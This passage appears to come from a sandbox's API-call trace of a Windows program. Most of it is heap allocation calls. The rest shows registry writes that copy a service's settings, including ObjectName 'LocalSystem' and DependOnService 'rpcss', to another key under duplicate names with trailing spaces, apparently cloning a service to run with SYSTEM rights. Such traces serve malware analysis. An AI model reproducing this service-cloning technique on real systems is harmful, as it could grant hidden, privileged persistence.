Size=0x8) returned 0x252d3b8 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0175.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0175.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0175.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0175.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0175.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0175.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0175.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d528) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d418) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d448) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d538) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0175.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0175.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0175.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0175.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219ddd8) returned 1 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.977] RegQueryValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x194) returned 0x0 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0175.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.977] RegQueryValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x194 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x194) returned 0x0 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0175.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0175.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0175.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0175.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0175.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0175.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0175.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0175.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0175.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x252ff98 [0175.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0175.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0175.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0175.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0175.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0175.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252ff98) returned 1 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0175.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0175.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0175.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0175.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0175.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x219ddd8 [0175.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0175.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x252dd90 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d488 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4388 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44f0 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0175.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0175.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0175.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0175.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0175.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0175.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4610 [0175.980] RegSetValueExA (in: hKey=0x9c, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x21f4ea8*, cbData=0x195 | out: lpData=0x21f4ea8*) returned 0x0 [0175.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0175.980] RegSetValueExA (in: hKey=0x9c, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x21f4ea8*, cbData=0x195 | out: lpData=0x21f4ea8*) returned 0x0 [0175.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0175.980] RegEnumValueA (in: hKey=0x140, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.980] RegEnumValueA (in: hKey=0x140, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.981] RegEnumValueA (in: hKey=0x140, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.981] RegEnumValueA (in: hKey=0x140, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0175.981] RegSetValueExA (in: hKey=0x9c, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0175.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0175.981] RegSetValueExA (in: hKey=0x9c, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0175.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0175.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.982] RegEnumValueA (in: hKey=0x140, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.982] RegEnumValueA (in: hKey=0x140, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.982] RegEnumValueA (in: hKey=0x140, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.982] RegEnumValueA (in: hKey=0x140, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.982] RegEnumValueA (in: hKey=0x140, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.982] RegEnumValueA (in: hKey=0x140, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.982] RegEnumValueA (in: hKey=0x140, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.982] RegEnumValueA (in: hKey=0x140, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.982] RegEnumValueA (in: hKey=0x140, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.982] RegEnumValueA (in: hKey=0x140, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0175.982] RegSetValueExA (in: hKey=0x9c, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0175.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0175.982] RegSetValueExA (in: hKey=0x9c, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0175.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0175.982] RegEnumValueA (in: hKey=0x140, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.982] RegEnumValueA (in: hKey=0x140, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.983] RegEnumValueA (in: hKey=0x140, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.983] RegEnumValueA (in: hKey=0x140, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.983] RegEnumValueA (in: hKey=0x140, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.983] RegEnumValueA (in: hKey=0x140, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.983] RegEnumValueA (in: 